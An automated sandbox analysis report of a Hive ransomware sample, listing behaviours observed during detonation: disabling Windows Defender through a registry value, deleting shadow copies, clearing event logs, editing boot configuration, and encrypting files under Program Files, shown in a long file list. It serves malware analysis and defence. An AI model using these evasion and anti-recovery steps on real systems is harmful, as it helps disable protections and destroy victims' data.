Malware Analysis Report

2024-10-16 03:12

Sample ID 220112-r3zt3sdaal
Target 4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample
SHA256 4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3
Tags
hive evasion ransomware spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3

Threat Level: Known bad

The file 4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample was found to be: Known bad.

Malicious Activity Summary

hive evasion ransomware spyware stealer trojan

Hive

Modifies security service

Modifies Windows Defender Real-time Protection settings

Deletes Windows Defender Definitions

Deletes shadow copies

Clears Windows event logs

Modifies boot configuration data using bcdedit

Reads user/profile data of web browsers

Drops file in Program Files directory

Launches sc.exe

Runs ping.exe

Suspicious use of WriteProcessMemory

Opens file in notepad (likely ransom note)

Interacts with shadow copies

Modifies registry class

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-12 14:43

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-12 14:43

Reported

2022-01-12 14:48

Platform

win7-en-20211208

Max time kernel

152s

Max time network

132s

Command Line

"C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Hive

ransomware hive

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" C:\Windows\system32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\settings_right_disabled.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Common Files\System\msadc\de-DE\msadcor.dll.mui C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationRight_ButtonGraphic.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\images\pause_hov.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\CASCADE\CASCADE.INF.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\ProjectTaskIcon.jpg.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Common Files\System\Ole DB\es-ES\sqloledb.rll.mui C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\deploy\splash.gif.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GROOVE_F_COL.HXK.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\PRODIGY.NET.XML.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.eclipse.nl_ja_4.4.0.v20140623020002.jar.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_IAAAACAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Nairobi.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_IAAAACAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0233070.WMF.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\wPfq_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL022.XML.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\SettingsInternal.zip.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\background.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ja_5.5.0.165303.jar.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_IAAAACAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.addons.swt.nl_zh_4.4.0.v20140623020002.jar.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_IAAAACAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\MSInfo\de-DE\msinfo32.exe.mui C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0304853.WMF.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\ADDINS\MSOSEC.XML.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_moon-waxing-gibbous_partly-cloudy.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\wPfq_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\INDUST\wPfq_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.historicaldata.zh_CN_5.5.0.165303.jar.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PSRCHLEX.DAT.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Adobe.css.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN105.XML.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_moon-waning-crescent.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.docs_5.5.0.165303.jar.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-core-execution.xml_hidden.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvmstat_zh_CN.jar.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_IAAAACAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\fr-FR\gadget.xml C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\es-ES\js\localizedStrings.js C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\images\rings-desk.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-plaf_zh_CN.jar.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\management\snmp.acl.template.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Windows Media Player\de-DE\wmlaunch.exe.mui C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Apothecary.thmx.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Swirl\HEADER.GIF.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_IAAAACAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File created C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\wPfq_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\CPU.Gadget\en-US\cpu.html C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_moon-waning-crescent_partly-cloudy.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BabyBlue\TAB_OFF.GIF.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_IAAAACAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsViewAttachmentIconsMask.bmp.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_zh_CN.properties.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Gibraltar.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\CAPSULES\THMBNAIL.PNG.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099169.WMF.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH03425I.JPG.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL092.XML.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\15.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Windhoek.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_IAAAACAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Mazatlan.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_IAAAACAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0301480.WMF.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\MSTORE_COL.HXC.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_IAAAACAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\FormsPreviewTemplate.html.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\ApothecaryMergeLetter.dotx.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_IAAAACAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Solutions.css.NdChF7tYzXgqR0joTxWtWzSm7a-MmTGX8zJOctsBxPv_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\notepad.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 944 wrote to memory of 576 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 576 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
